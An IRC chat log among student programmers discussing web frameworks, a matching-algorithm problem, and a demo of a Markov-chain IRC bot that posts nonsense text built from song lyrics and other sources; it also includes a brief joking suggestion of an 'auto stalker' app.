[2015-03-07T15:52:10-0500] <+JacobEdelman> (he's helping with hsctf this year)
[2015-03-07T15:53:41-0500] <+JacobEdelman> oops
[2015-03-07T15:53:59-0500] <+JacobEdelman> deleted my browser window again, control-Q is annoying
[2015-03-07T15:54:28-0500] <LittleBobbyTables> Yeah but, does he have an xkcd comic about him
[2015-03-07T16:07:20-0500] <hardmath123> so apparently companyname.website is a thing
[2015-03-07T16:07:40-0500] <hardmath123> also bad.solutions :P
[2015-03-07T16:08:02-0500] <+awe> Hah, bad solutions is great.
[2015-03-07T16:08:38-0500] <+awe> nezorg: some parts of this io migration are brutal.
[2015-03-07T16:08:39-0500] <hardmath123> good.solutions should redirect to kool-aid's webpage.
[2015-03-07T16:08:56-0500] <+awe> nezorg: so much find and replace
[2015-03-07T16:13:58-0500] <LittleBobbyTables> http://gyazo.com/53af0a0a9f0b95be55a5b653ffd90758
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[2015-03-07T15:14:14-0500] <+JacobEdelman> okay
[2015-03-07T15:14:34-0500] <+JacobEdelman> what about roy or elm then? 
[2015-03-07T15:14:45-0500] <+awe> I don't know why you keep linking things that compile to JS.
[2015-03-07T15:15:05-0500] <+awe> I'm asking about a server-side solution, not a client-side.
[2015-03-07T15:15:11-0500] <+JacobEdelman> I was looking for a way to make node more palatable to you
[2015-03-07T15:15:26-0500] <grantwu> Lol I went to a talk on node.js last wednesday
[2015-03-07T15:15:29-0500] <grantwu> "Node is great"
[2015-03-07T15:15:34-0500] <grantwu> "Javascript is horrendous"
[2015-03-07T15:15:41-0500] <+JacobEdelman> that seems to be a popular opinion
[2015-03-07T15:15:42-0500] <grantwu> "Never use Javascript with Node"
[2015-03-07T15:15:47-0500] <+JacobEdelman> lol
[2015-03-07T15:15:52-0500] <+JacobEdelman> ES6 fixes lots of stuff
[2015-03-07T15:16:00-0500] <+JacobEdelman> we could just use nodejs with ES6...
[2015-03-07T15:16:56-0500] <grantwu> http://d315f714-26fh-4346-96a8-11a864cdfcb5.com/ lololol
[2015-03-07T15:17:08-0500] <grantwu> Click it, not malicious I swear
[2015-03-07T15:17:13-0500] <grantwu> (It's a UUID)
[2015-03-07T15:18:28-0500] <grantwu> Also interesting
[2015-03-07T15:18:30-0500] <grantwu> Node is CPS
[2015-03-07T15:22:10-0500] <+JacobEdelman> awe: I quiet like the look of roy
[2015-03-07T15:22:58-0500] <+awe> "Each and every UUID will be unique from any other one in the universe; no matter how many are created by a programmer. If a UUID is deleted, it is gone forever."
[2015-03-07T15:23:01-0500] <+awe> grantwu: how deos that work?
[2015-03-07T15:23:48-0500] <grantwu> awe: It's a joke site....
[2015-03-07T15:24:03-0500] <+awe> BUT IT'S ON THE INTERNET
[2015-03-07T15:24:05-0500] <+awe> IT MUST BE REAL
[2015-03-07T15:24:09-0500] <grantwu> ...
[2015-03-07T15:25:16-0500] <grantwu> (You're kidding me right)
[2015-03-07T15:25:24-0500] <grantwu> (You understood it was fake)
[2015-03-07T15:26:31-0500] <+awe> THE INTERNET WOULD NEVER LIE TO ME, GRANT.
[2015-03-07T15:33:31-0500] <+awe> grantwu: THIS IS COMPLETELY REAL.
[2015-03-07T15:34:30-0500] <grantwu> hue
[2015-03-07T15:41:57-0500] <nezorg> JacobEdelman: I've used elm, and imo it quickly becomes unwieldy for moderately complex apps
[2015-03-07T15:42:08-0500] <+JacobEdelman> ah, okay
[2015-03-07T15:42:27-0500] <nezorg> I think the creator knows that, though
[2015-03-07T15:42:32-0500] <nezorg> and is working on fixes
[2015-03-07T15:51:08-0500] <+JacobEdelman> also
[2015-03-07T15:51:14-0500] <+JacobEdelman> Brice has now won life
[2015-03-07T15:51:23-0500] <+JacobEdelman> due to being an Intell Science fair finalist
[2015-03-07T15:51:37-0500] <+JacobEdelman> they have named a minor planet after him
[2015-03-07T15:52:00-0500] <+JacobEdelman> (for those not in the kknow, brice is a genius math person from my school)
[2015-03-07T15:52:10-0500] <+JacobEdelman> (he's helping with hsctf this year)
[2015-03-07T15:53:41-0500] <+JacobEdelman> oops
[2015-03-07T15:53:59-0500] <+JacobEdelman> deleted my browser window again, control-Q is annoying
[2015-03-07T15:54:28-0500] <LittleBobbyTables> Yeah but, does he have an xkcd comic about him
[2015-03-07T16:07:20-0500] <hardmath123> so apparently companyname.website is a thing
[2015-03-07T16:07:40-0500] <hardmath123> also bad.solutions :P
[2015-03-07T16:08:02-0500] <+awe> Hah, bad solutions is great.
[2015-03-07T16:08:38-0500] <+awe> nezorg: some parts of this io migration are brutal.
[2015-03-07T16:08:39-0500] <hardmath123> good.solutions should redirect to kool-aid's webpage.
[2015-03-07T16:08:56-0500] <+awe> nezorg: so much find and replace
[2015-03-07T16:13:58-0500] <LittleBobbyTables> http://gyazo.com/53af0a0a9f0b95be55a5b653ffd90758
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[2015-03-07T17:08:23-0500] <hardmath123> nezorg: what do you think about elm, though, in general?
[2015-03-07T17:08:52-0500] <nezorg> it's interesting
[2015-03-07T17:09:14-0500] <nezorg> I'm really unsure of whether they'll figure out a good solution for complexity, though
[2015-03-07T17:09:42-0500] <nezorg> rn you basically have to have a big long ADT of all the different possible actions you could have at any point
[2015-03-07T17:09:58-0500] <nezorg> which gets annoying fast
[2015-03-07T17:10:23-0500] <hardmath123> yeah frp's well-suited to some things but not to others
[2015-03-07T17:10:34-0500] <hardmath123> because web programs seem inherently very stateful imho
[2015-03-07T17:13:03-0500] <nezorg> https://github.com/Dobiasd/RedditTimeMachine/blob/master/src/elm/Nsfw.elm LOL
[2015-03-07T17:14:24-0500] <hardmath123> xD
[2015-03-07T17:15:31-0500] <nezorg> > dota2smut
[2015-03-07T17:15:33-0500] <nezorg> definitely not purple
[2015-03-07T17:21:00-0500] <nezorg> anyway, a bit more on-topic
[2015-03-07T17:21:08-0500] <nezorg> hardmath123: you can end up with type signatures like this: https://github.com/Dobiasd/RedditTimeMachine/blob/master/src/elm/Main.elm#L219-L220
[2015-03-07T17:22:09-0500] <hardmath123> well
[2015-03-07T17:22:24-0500] <hardmath123> for typesafe languages, isn't that sort of unavoidable when you have lots of arguments to a function?
[2015-03-07T17:23:07-0500] <nezorg> well normally I'd have it in a state monad or similar
[2015-03-07T17:23:25-0500] <nezorg> (which is another disadvantage of elm, as of now -- no HKT)
[2015-03-07T17:23:44-0500] <nezorg> hardmath123: you also get this: https://github.com/Dobiasd/RedditTimeMachine/blob/master/src/elm/Main.elm#L141-L157
[2015-03-07T17:23:53-0500] <nezorg> you have to declare *all* your dependencies like that there
[2015-03-07T17:51:35-0500] <bob_twinkles> awe: sorry, was CTF
[2015-03-07T17:51:40-0500] <bob_twinkles> yesod is the only one I know off the top of my head
[2015-03-07T17:51:41-0500] <+awe> S'all good.
[2015-03-07T17:51:49-0500] <+awe> Any opinions on yesod's usability?
[2015-03-07T17:52:00-0500] <bob_twinkles> never played with it
[2015-03-07T17:52:06-0500] <bob_twinkles> seems nice though, if a bit magic
[2015-03-07T17:52:33-0500] <bob_twinkles> my experience with yesod is watching like a 30 minute screencast explaining the basics
[2015-03-07T17:53:03-0500] <bob_twinkles> it does some neat stuff
[2015-03-07T17:53:43-0500] <bob_twinkles> like if you have a route "/posts/$POST_ID" you can specify the type of POST_ID to be PostID which is a database primary key and it's typesafe all the way through all the things
[2015-03-07T17:53:58-0500] <bob_twinkles> aaaand -> dinner
[2015-03-07T17:54:34-0500] <+awe> Yeah, nezorg thinks it's overengineered though.
[2015-03-07T17:54:38-0500] <+awe> Seems very magical to me.
[2015-03-07T18:00:56-0500] <+awe> bob_twinkles: I'll probably try it, and I imagine it'll probably be well suited for my purposes.
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[2015-03-07T19:32:14-0500] <Hyper> too much think
[2015-03-07T19:32:14-0500] <grantwu> I don't understand the problem, it seems poorly specified
[2015-03-07T19:32:18-0500] <Hyper> it is kinda
[2015-03-07T19:32:19-0500] <Hyper> but fuck it
[2015-03-07T19:32:22-0500] <Hyper>  I'll do this or die
[2015-03-07T19:32:43-0500] <Hyper> or give up
[2015-03-07T19:32:46-0500] <Hyper> hopefully not that
[2015-03-07T19:36:36-0500] <grantwu> No this is stupid, this is exactly gale-shapley
[2015-03-07T19:36:55-0500] <grantwu> 1 circuit per team and 1 team per circuit means that they're basically the exact same thing
[2015-03-07T19:37:09-0500] <grantwu> wait no, it's slightly different hrm
[2015-03-07T19:38:44-0500] <grantwu> wait no hrm...
[2015-03-07T19:39:42-0500] <Hyper> hrm
[2015-03-07T19:39:49-0500] <Hyper> well if it is let me know because that'll be easier
[2015-03-07T19:40:00-0500] <Hyper> otherwise I'll try GS in a few
[2015-03-07T19:40:21-0500] <grantwu> I'm fairly sure an intuitive modification of GS will work
[2015-03-07T19:40:30-0500] <Hyper> I just wrote one of the weirdest lines of code in my life and I'm trying to come to terms with it
[2015-03-07T19:40:39-0500] <grantwu> GS matches would match a set of m jugglers to m circuits
[2015-03-07T19:40:48-0500] <Hyper> all_matches = zip(*[sorted(list(k), suitcmp) for k in zip(*all_matches)])
[2015-03-07T19:41:26-0500] <grantwu> Such that you cannot switch two juggler's circuit assignments such that both the jugglers and the circuits are happier
[2015-03-07T19:41:37-0500] <grantwu> So GS as normally presented has the same number of jugglers and circuits
[2015-03-07T19:41:45-0500] <Hyper> aight I'll try that in a minute
[2015-03-07T19:41:46-0500] <Hyper> tyvm
[2015-03-07T19:41:49-0500] <grantwu> The algorithm proceeds as follows:
[2015-03-07T19:42:46-0500] <grantwu> While there exists juggler j without a circuit, attempt to assign j to the circuit highest on its preference list
[2015-03-07T19:43:16-0500] <grantwu> That it has yet to try.  If there already exists juggler assigned to the circuit, evict the older juggler iff the new juggler j is a better fit.
[2015-03-07T19:43:40-0500] <grantwu> So the straight modification would be
[2015-03-07T19:44:09-0500] <grantwu> Instead of immediately evicting the older juggler, evict the older jugglers iff you're out of room
[2015-03-07T19:44:21-0500] <grantwu> Since you know that every circuit has the same number of jugglers
[2015-03-07T19:45:43-0500] <grantwu> apothy do you know gale shapley
[2015-03-07T19:45:52-0500] <grantwu> It was taught at the pact in the summer
[2015-03-07T19:46:02-0500] <grantwu> jacobedelman should know it
[2015-03-07T19:46:38-0500] <Hyper> grantwu: <3 I'll give it a go in a few
[2015-03-07T19:46:54-0500] <grantwu> errr
[2015-03-07T19:47:04-0500] <grantwu> Hyper: to be fair, I haven't proved it optimal for this modification :P
[2015-03-07T19:47:16-0500] <Hyper> yeah idgaf rn
[2015-03-07T19:47:24-0500] <grantwu> I know it's optimal for when | Jugglers | = | Circuits |
[2015-03-07T19:48:06-0500] <Hyper> I've been working on this for like 5 hours I'm not very picky on whether it's optimal if it's better
[2015-03-07T19:48:36-0500] <grantwu> No I mean like
[2015-03-07T19:48:44-0500] <grantwu> Optimal as in an optimal, correct assignment
[2015-03-07T19:48:51-0500] <apothy> grantwu: yeah
[2015-03-07T19:48:54-0500] <grantwu> Not as in optimal performance.  I don't think GS is ever optimal performance
[2015-03-07T19:49:05-0500] <Hyper> if it's better than my solution I'd be happy :)
[2015-03-07T19:49:10-0500] <Hyper> i'm close though I think
[2015-03-07T19:49:12-0500] <grantwu> whale no guarantees
[2015-03-07T19:49:20-0500] <grantwu> miaooo apothy it's spring break
[2015-03-07T19:49:31-0500] <apothy> I'm at Disney :D
[2015-03-07T19:49:57-0500] <grantwu> waowww
[2015-03-07T19:50:35-0500] <grantwu> crie
[2015-03-07T19:50:38-0500] <grantwu> I missed my bus this morning
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[2015-03-07T19:32:14-0500] <grantwu> I don't understand the problem, it seems poorly specified
[2015-03-07T19:32:18-0500] <Hyper> it is kinda
[2015-03-07T19:32:19-0500] <Hyper> but fuck it
[2015-03-07T19:32:22-0500] <Hyper>  I'll do this or die
[2015-03-07T19:32:43-0500] <Hyper> or give up
[2015-03-07T19:32:46-0500] <Hyper> hopefully not that
[2015-03-07T19:36:36-0500] <grantwu> No this is stupid, this is exactly gale-shapley
[2015-03-07T19:36:55-0500] <grantwu> 1 circuit per team and 1 team per circuit means that they're basically the exact same thing
[2015-03-07T19:37:09-0500] <grantwu> wait no, it's slightly different hrm
[2015-03-07T19:38:44-0500] <grantwu> wait no hrm...
[2015-03-07T19:39:42-0500] <Hyper> hrm
[2015-03-07T19:39:49-0500] <Hyper> well if it is let me know because that'll be easier
[2015-03-07T19:40:00-0500] <Hyper> otherwise I'll try GS in a few
[2015-03-07T19:40:21-0500] <grantwu> I'm fairly sure an intuitive modification of GS will work
[2015-03-07T19:40:30-0500] <Hyper> I just wrote one of the weirdest lines of code in my life and I'm trying to come to terms with it
[2015-03-07T19:40:39-0500] <grantwu> GS matches would match a set of m jugglers to m circuits
[2015-03-07T19:40:48-0500] <Hyper> all_matches = zip(*[sorted(list(k), suitcmp) for k in zip(*all_matches)])
[2015-03-07T19:41:26-0500] <grantwu> Such that you cannot switch two juggler's circuit assignments such that both the jugglers and the circuits are happier
[2015-03-07T19:41:37-0500] <grantwu> So GS as normally presented has the same number of jugglers and circuits
[2015-03-07T19:41:45-0500] <Hyper> aight I'll try that in a minute
[2015-03-07T19:41:46-0500] <Hyper> tyvm
[2015-03-07T19:41:49-0500] <grantwu> The algorithm proceeds as follows:
[2015-03-07T19:42:46-0500] <grantwu> While there exists juggler j without a circuit, attempt to assign j to the circuit highest on its preference list
[2015-03-07T19:43:16-0500] <grantwu> That it has yet to try.  If there already exists juggler assigned to the circuit, evict the older juggler iff the new juggler j is a better fit.
[2015-03-07T19:43:40-0500] <grantwu> So the straight modification would be
[2015-03-07T19:44:09-0500] <grantwu> Instead of immediately evicting the older juggler, evict the older jugglers iff you're out of room
[2015-03-07T19:44:21-0500] <grantwu> Since you know that every circuit has the same number of jugglers
[2015-03-07T19:45:43-0500] <grantwu> apothy do you know gale shapley
[2015-03-07T19:45:52-0500] <grantwu> It was taught at the pact in the summer
[2015-03-07T19:46:02-0500] <grantwu> jacobedelman should know it
[2015-03-07T19:46:38-0500] <Hyper> grantwu: <3 I'll give it a go in a few
[2015-03-07T19:46:54-0500] <grantwu> errr
[2015-03-07T19:47:04-0500] <grantwu> Hyper: to be fair, I haven't proved it optimal for this modification :P
[2015-03-07T19:47:16-0500] <Hyper> yeah idgaf rn
[2015-03-07T19:47:24-0500] <grantwu> I know it's optimal for when | Jugglers | = | Circuits |
[2015-03-07T19:48:06-0500] <Hyper> I've been working on this for like 5 hours I'm not very picky on whether it's optimal if it's better
[2015-03-07T19:48:36-0500] <grantwu> No I mean like
[2015-03-07T19:48:44-0500] <grantwu> Optimal as in an optimal, correct assignment
[2015-03-07T19:48:51-0500] <apothy> grantwu: yeah
[2015-03-07T19:48:54-0500] <grantwu> Not as in optimal performance.  I don't think GS is ever optimal performance
[2015-03-07T19:49:05-0500] <Hyper> if it's better than my solution I'd be happy :)
[2015-03-07T19:49:10-0500] <Hyper> i'm close though I think
[2015-03-07T19:49:12-0500] <grantwu> whale no guarantees
[2015-03-07T19:49:20-0500] <grantwu> miaooo apothy it's spring break
[2015-03-07T19:49:31-0500] <apothy> I'm at Disney :D
[2015-03-07T19:49:57-0500] <grantwu> waowww
[2015-03-07T19:50:35-0500] <grantwu> crie
[2015-03-07T19:50:38-0500] <grantwu> I missed my bus this morning
[2015-03-07T19:55:40-0500] <apothy> gg
[2015-03-07T19:57:33-0500] <hardmath123> Ewwwww what the hell happened to the AoPS website? Goodness.
[2015-03-07T19:58:10-0500] Mode is +nt
[2015-03-07T19:58:16-0500] <apothy> ^
[2015-03-07T19:58:27-0500] <+awe> AoPS?
[2015-03-07T19:59:10-0500] <grantwu> Art of Problem Solving 
[2015-03-07T19:59:25-0500] <grantwu> I've never been involved with it, but one of my friends was also complaining about some redesign
[2015-03-07T19:59:44-0500] <grantwu> Hrm it doesn't seem so ugly
[2015-03-07T19:59:55-0500] <hardmath123> so much blue everywhere
[2015-03-07T20:00:02-0500] <hardmath123> and green
[2015-03-07T20:00:15-0500] <+awe> I just noticed that all this time
[2015-03-07T20:00:15-0500] <hardmath123> and BLUE. gosh
[2015-03-07T20:00:17-0500] <+awe> https://github.com/aatxe/awebot-plugins
[2015-03-07T20:00:26-0500] <+awe> has had the Travis build image pointing to the wrong project.
[2015-03-07T20:00:27-0500] <+awe> xD
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[2015-03-07T20:03:13-0500] <grantwu> What is wrong with blue and green particularly?
[2015-03-07T20:03:59-0500] <+awe> So, the guy who was trying to get me to join Hackers of UMass wants me to present what I'm working on at the second meeting (which is in three weeks-ish).
[2015-03-07T20:04:25-0500] <+awe> Do I talk about IRC in Rust, Hamelin, or do I start a new project now so that I have something cool to talk about in three weeks?
[2015-03-07T20:04:37-0500] <+awe> hardmath123, nezorg ^
[2015-03-07T20:04:44-0500] <ubuntor> gah, that aops font
[2015-03-07T20:05:11-0500] <hardmath123> awe: Hamelin's IRC interface, which combines #1 and #2 in your list. :D
[2015-03-07T20:05:14-0500] <+awe> Once you get past the giant blue part at the top of the site, it looks fine.
[2015-03-07T20:05:24-0500] <grantwu> Seriously what is wrong with the stie
[2015-03-07T20:05:26-0500] <grantwu> *site
[2015-03-07T20:05:29-0500] <+awe> hardmath123: Well, yeah, talking about Hamelin would probably go into some detail about my IRC library, too.
[2015-03-07T20:05:31-0500] <ubuntor> feels too blocky
[2015-03-07T20:05:44-0500] <+awe> The blue is overwhelming, but the site looks ok.
[2015-03-07T20:05:53-0500] <hardmath123> soo many rectangles
[2015-03-07T20:05:58-0500] <+awe> Rectangles aren't bad.
[2015-03-07T20:06:15-0500] <grantwu> The site seems fine.  It's not a paragon of design or color selection, but it's not horrific
[2015-03-07T20:06:15-0500] <ubuntor> everything feels constrained
[2015-03-07T20:06:25-0500] <grantwu> And it's not like the old site was great
[2015-03-07T20:06:32-0500] <+awe> Anyone else have opinions on what I should talk about
[2015-03-07T20:06:32-0500] <+awe> ?
[2015-03-07T20:11:01-0500] <LittleBobbyTables> sex
[2015-03-07T20:11:07-0500] <+awe> LittleBobbyTables: thanks for the opinion.
[2015-03-07T20:11:14-0500] <+awe> I won't talk about that, but thanks for the suggestion.
[2015-03-07T20:11:16-0500] <LittleBobbyTables> No problem.
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[2015-03-07T20:14:28-0500] <+awe> JacobEdelman: "So, the guy who was trying to get me to join Hackers of UMass wants me to present what I'm working on at the second meeting (which is in three weeks-ish). Do I talk about IRC in Rust, Hamelin, or do I start a new project now so that I have something cool to talk about in three weeks?"
[2015-03-07T20:19:40-0500] <JacobEdelman> Hmmm..
[2015-03-07T20:20:01-0500] <JacobEdelman> Three good choices
[2015-03-07T20:20:34-0500] <JacobEdelman> are any of these people actually impressive?
[2015-03-07T20:20:38-0500] <+awe> Talking about Hamelin probably means talking about IRC.
[2015-03-07T20:20:40-0500] <+awe> Lol, no.
[2015-03-07T20:20:55-0500] <JacobEdelman> hmm... than I'm not sure how much rust stuffs will imrpess them
[2015-03-07T20:21:04-0500] <+awe> Well, Hamelin is interesting.
[2015-03-07T20:21:29-0500] <JacobEdelman> you may say its relatively stable, usable, useful, and fast,
[2015-03-07T20:21:41-0500] <JacobEdelman> but it doesn't have to do with hardware, web apps, or phone apps
[2015-03-07T20:21:46-0500] <JacobEdelman> so why should they care :P
[2015-03-07T20:22:23-0500] <+awe> That's true.
[2015-03-07T20:22:49-0500] <JacobEdelman> I mean
[2015-03-07T20:23:12-0500] <JacobEdelman> you could talk about your cool stuff in the hope that the legit cool/impressive people there will come pout of the woodwork
[2015-03-07T20:23:35-0500] <JacobEdelman> *come out
[2015-03-07T20:23:58-0500] <JacobEdelman> LittleBobbyTables: wow... too good
[2015-03-07T20:24:07-0500] <+awe> Well, do you think it'd be interesting to hear about any of that?
[2015-03-07T20:24:33-0500] <JacobEdelman> hmm... hamelin would be more interesting than the irc library
[2015-03-07T20:24:43-0500] <JacobEdelman> giving examples of hamelin use may be cool
[2015-03-07T20:25:02-0500] <JacobEdelman> (make a simple web app, irc bot, and netcat thing right in from of them)
[2015-03-07T20:25:26-0500] <JacobEdelman> throw in websockets and its rather cool (if you can make websockets before them)
[2015-03-07T20:30:00-0500] <+awe> I could if I cared.
[2015-03-07T20:30:27-0500] <hardmath123> but websocketd exists already
[2015-03-07T20:30:47-0500] <LittleBobbyTables> JacobEdelman: what's too good?
[2015-03-07T20:31:46-0500] <Hyper> awe: the "look what I can do in 30 seconds" demos tend to be pretty sick to watch
[2015-03-07T20:35:17-0500] <+awe> So, just like... run example programs and stuff?
[2015-03-07T20:35:55-0500] <+awe> ./net localhost 30000 grep --line-buffered goat
[2015-03-07T20:35:57-0500] <+awe> YESSS
[2015-03-07T20:36:03-0500] <+awe> GOAT SEARCH AS A SERVICE
[2015-03-07T20:36:32-0500] <+awe> Also, I just realized that my markov chain as a service is totally obsoleted by my http implementation.
[2015-03-07T20:37:48-0500] <Hyper> awe: give me an idea for something to make at this hackathon
[2015-03-07T20:37:54-0500] <Hyper> I'm not thinking of any good ideas
[2015-03-07T20:38:12-0500] <+awe> ./target/http 127.0.0.1 4000 ../markov/target/markgen ../markov/tswift_1989
[2015-03-07T20:38:22-0500] <+awe> Generating Taylor Swift lyrics.
[2015-03-07T20:38:27-0500] <Hyper> kay
[2015-03-07T20:38:36-0500] <+awe> lol, that wasn't a suggestion for you.
[2015-03-07T20:38:38-0500] <+awe> But you can do that.
[2015-03-07T20:38:40-0500] <Hyper> no
[2015-03-07T20:38:53-0500] <Hyper> I've implemented markov chains so many times already I never want to do it again
[2015-03-07T20:39:05-0500] <Hyper> I've implemented them in at least 5 languages
[2015-03-07T20:39:20-0500] <+awe> I've only implemented them in Rust.
[2015-03-07T20:39:21-0500] <Hyper> and more than 5 times, too >_>
[2015-03-07T20:39:52-0500] <JacobEdelman> LittleBobbyTables: your dota
[2015-03-07T20:39:53-0500] <hardmath123> Hyper: write an app that does todo lists as a dependency graph rather than as flat lists.
[2015-03-07T20:40:00-0500] <hardmath123> Hyper: make it good enough so that i can use it :3
[2015-03-07T20:40:05-0500] <Hyper> hardmath123: I actually did that at one point :)
[2015-03-07T20:40:08-0500] <Hyper> last summer
[2015-03-07T20:40:09-0500] <Hyper> got bored.
[2015-03-07T20:40:12-0500] <Hyper> >:I
[2015-03-07T20:40:12-0500] <hardmath123> :(
[2015-03-07T20:40:29-0500] <JacobEdelman> Hyper: auto stalker
[2015-03-07T20:40:35-0500] <+awe> Hyper: I'm a bad person to ask for ideas because I'm bad at coming up with my own ideas.
[2015-03-07T20:40:35-0500] • hardmath123: returns to using a text file as his todolist service.
[2015-03-07T20:40:37-0500] <JacobEdelman> given a name and basic info
[2015-03-07T20:40:48-0500] <JacobEdelman> finds someones home address
[2015-03-07T20:40:53-0500] <JacobEdelman> takes a pic with google street view
[2015-03-07T20:40:56-0500] <+awe> Also, hi laura. When did you show up here?
[2015-03-07T20:40:59-0500] <Hyper> I've done that manually once. >_>
[2015-03-07T20:41:05-0500] <Hyper> >___>
[2015-03-07T20:41:12-0500] <JacobEdelman> oh wait, laura most have shown up when I was gone
[2015-03-07T20:41:34-0500] <JacobEdelman> laura is a friend of mine from california (she used to be in our school district)
[2015-03-07T20:41:42-0500] <Hyper> neat
[2015-03-07T20:41:44-0500] <+awe> Cool.
[2015-03-07T20:42:17-0500] <JacobEdelman> going off her gmail status she is not onlien now
[2015-03-07T20:42:21-0500] <JacobEdelman> *online
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[2015-03-07T20:43:02-0500] <+awe> JacobEdelman: did you see how easy markov chain as a service is with hamelin? xD
[2015-03-07T20:43:09-0500] <JacobEdelman> yup
[2015-03-07T20:43:29-0500] <+awe> Or as a TCP service, just replace http with net!
[2015-03-07T20:44:05-0500] <JacobEdelman> or an irc bot
[2015-03-07T20:44:20-0500] <+awe> Oh god.
[2015-03-07T20:44:23-0500] <+awe> I can do it, but it'll be annoying.
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[2015-03-07T20:45:29-0500] <+awe> hi taylor 
[2015-03-07T20:45:29-0500] <taylor> You still all so well
[2015-03-07T20:45:31-0500] <+awe> lol
[2015-03-07T20:45:34-0500] <+awe> taylor: 
[2015-03-07T20:45:37-0500] <+awe> taylor: ???
[2015-03-07T20:45:43-0500] <+awe> Oh, it'll only do it once per channel.
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[2015-03-07T20:45:54-0500] <+awe> mm
[2015-03-07T20:45:54-0500] <taylor> Well could show
[2015-03-07T20:45:54-0500] <taylor> I wish we go on the road to do was stay
[2015-03-07T20:45:54-0500] <taylor> Band-aids don't miss a month
[2015-03-07T20:45:54-0500] <taylor> Like any true but this way home, lights out, it so it seems and ever drop it now we've got the door and girls
[2015-03-07T20:45:54-0500] <taylor> I think straight
[2015-03-07T20:46:23-0500] <grantwu> ???
[2015-03-07T20:46:26-0500] <Hyper> lol
[2015-03-07T20:46:27-0500] <JacobEdelman> wait what
[2015-03-07T20:46:30-0500] <JacobEdelman> oh
[2015-03-07T20:46:31-0500] <JacobEdelman> markov
[2015-03-07T20:46:34-0500] <+awe> I ran it with -n 5
[2015-03-07T20:46:35-0500] <Hyper> 10/10
[2015-03-07T20:46:36-0500] <JacobEdelman> markov taylor swift
[2015-03-07T20:46:41-0500] <+awe> It uses her newest album only.
[2015-03-07T20:46:41-0500] <JacobEdelman> with hamelin
[2015-03-07T20:46:43-0500] <Hyper> markov swift
[2015-03-07T20:46:54-0500] <JacobEdelman> now that is rapid prototyping
[2015-03-07T20:46:59-0500] <Hyper> maylor swift
[2015-03-07T20:47:12-0500] <Hyper> JacobEdelman: I guess you could say he prototyped.... swiftly
[2015-03-07T20:47:14-0500] <+awe> I should probably have compiled all of her lyrics.
[2015-03-07T20:47:19-0500] <+awe> But eh.
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[2015-03-07T20:47:29-0500] <+awe> PREPARE FOR THE WISDOM OF THE KORAN
[2015-03-07T20:47:30-0500] <taylor> Comp
[2015-03-07T20:47:31-0500] <taylor> 44 Thou shalt see the like it, and right; and disobedience hateful to a portion have indeed disbelieve his love: but in the dead; for you, save they shall not, there that thou mayest fear lest they might believe not the poor man in penitence; Creator of Abraham, mentioned verse (sign) of this Sura xli
[2015-03-07T20:47:31-0500] <taylor> hast Thyself
[2015-03-07T20:47:31-0500] <taylor> O Meccans, A mara li Muhammad as rich booty to warn; Verily they are we cause the principles which the unbelievers; then they who had coveted his wives, shall be tried him; for you that he was not the Heaven upon them, "Accede to his people: and, on the very aged one
[2015-03-07T20:47:31-0500] <taylor> 9 She said, of kin to the other work righteousness, and all things! SAY: Already had gone in: and that they follow it to them, and we had certainly have we vary our will recompense of the wicked, And thus the djinn
[2015-03-07T20:47:36-0500] <JacobEdelman> wait
[2015-03-07T20:47:42-0500] <Hyper> [20:47:30]  <taylor>	Comp
[2015-03-07T20:47:45-0500] <JacobEdelman> did you jsut randomly have a copy of the koran
[2015-03-07T20:47:45-0500] <Hyper> 3deep5me
[2015-03-07T20:47:47-0500] <JacobEdelman> on your compter
[2015-03-07T20:47:50-0500] <+awe> JacobEdelman: yes.
[2015-03-07T20:47:51-0500] <Hyper> JacobEdelman: do you not?
[2015-03-07T20:47:53-0500] <Hyper> pls
[2015-03-07T20:47:56-0500] <+awe> It's public domain.
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[2015-03-07T20:48:17-0500] <JacobEdelman> so is my compiled poetry that doesn't mean you would have it
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[2015-03-07T20:48:23-0500] <+awe> PREPARE FOR COMMUNISM
[2015-03-07T20:48:24-0500] <taylor> For us, in another time in the coal every branch, but yesterday, and first inculcate order to regard the grain which imply the same year
[2015-03-07T20:48:24-0500] <taylor> Thus, even one-half, and provide foodstuffs
[2015-03-07T20:48:24-0500] <taylor> succeeded in production and you how reaction that little less tiring for others still, than all work is coming from the National Convention were annulled
[2015-03-07T20:48:24-0500] <taylor> A political sleight of their sole fact and Labour in order to humanity is the collective property of satisfying needs of energy under the really hate work badly assorted corn was not created on as models
[2015-03-07T20:48:24-0500] <taylor> What must be convinced of generosity they attempted to mention Hungary's rapid development of all been discovered saltpetre in privations, in Germany, be kept in common? Only consult _La Croix Rouge_, by means resorted to discharge all artistic creation
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[2015-03-07T20:48:53-0500] <+awe> PREPARE FOR JABBERWOCKY
[2015-03-07T20:48:53-0500] <taylor> Come to my son!
[2015-03-07T20:48:53-0500] <taylor> Came whiffling through
[2015-03-07T20:48:54-0500] <taylor> Long time the Jubjub bird, and with its head
[2015-03-07T20:48:54-0500] <taylor> He left it dead, and through
[2015-03-07T20:48:54-0500] <taylor> The jaws that catch!
[2015-03-07T20:49:05-0500] <+awe> Doesn't really do much interesting though because it's just the one poem.
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[2015-03-07T20:49:16-0500] <JacobEdelman> lol
[2015-03-07T20:49:17-0500] <apothy> Wat
[2015-03-07T20:49:25-0500] <apothy> Who's Taylor?
[2015-03-07T20:49:29-0500] <+awe> Taylor Swift
[2015-03-07T20:49:34-0500] <apothy> Dang
[2015-03-07T20:49:41-0500] <apothy> How'd you get her here?
[2015-03-07T20:49:44-0500] <JacobEdelman> its a markov chain
[2015-03-07T20:49:47-0500] <JacobEdelman> using hamelin
[2015-03-07T20:49:48-0500] <+awe> Indeed.
[2015-03-07T20:49:54-0500] <+awe> ./target/http 127.0.0.1 4000 ../markov/target/markgen ../markov/tswift_1989
[2015-03-07T20:49:56-0500] <+awe> erm
[2015-03-07T20:49:58-0500] <+awe> ./target/irc other.json ../markov/target/markgen ../markov/jabberwocky -n 5
[2015-03-07T20:50:03-0500] <apothy> Nah, that doesn't seem believable.
[2015-03-07T20:50:12-0500] <JacobEdelman> lol
[2015-03-07T20:50:12-0500] <apothy> It's probably TSwizzle.
[2015-03-07T20:50:57-0500] <JacobEdelman> yeah
[2015-03-07T20:51:30-0500] <+awe> wat.
[2015-03-07T20:51:34-0500] <+awe> thread 'data::channel::test::exists' panicked at 'called `Result::unwrap()` on an `Err` value: Error { repr: Os(17) }'
[2015-03-07T20:51:43-0500] <+awe> Error #17 on unix is file already exists.
[2015-03-07T20:51:53-0500] <+awe> What code did I write? CHECKING IF THE FILE EXISTS
[2015-03-07T20:53:51-0500] <JacobEdelman> what did you do
[2015-03-07T20:54:08-0500] <+awe> I have no idea.
[2015-03-07T20:54:28-0500] <+awe> I have an idea though.
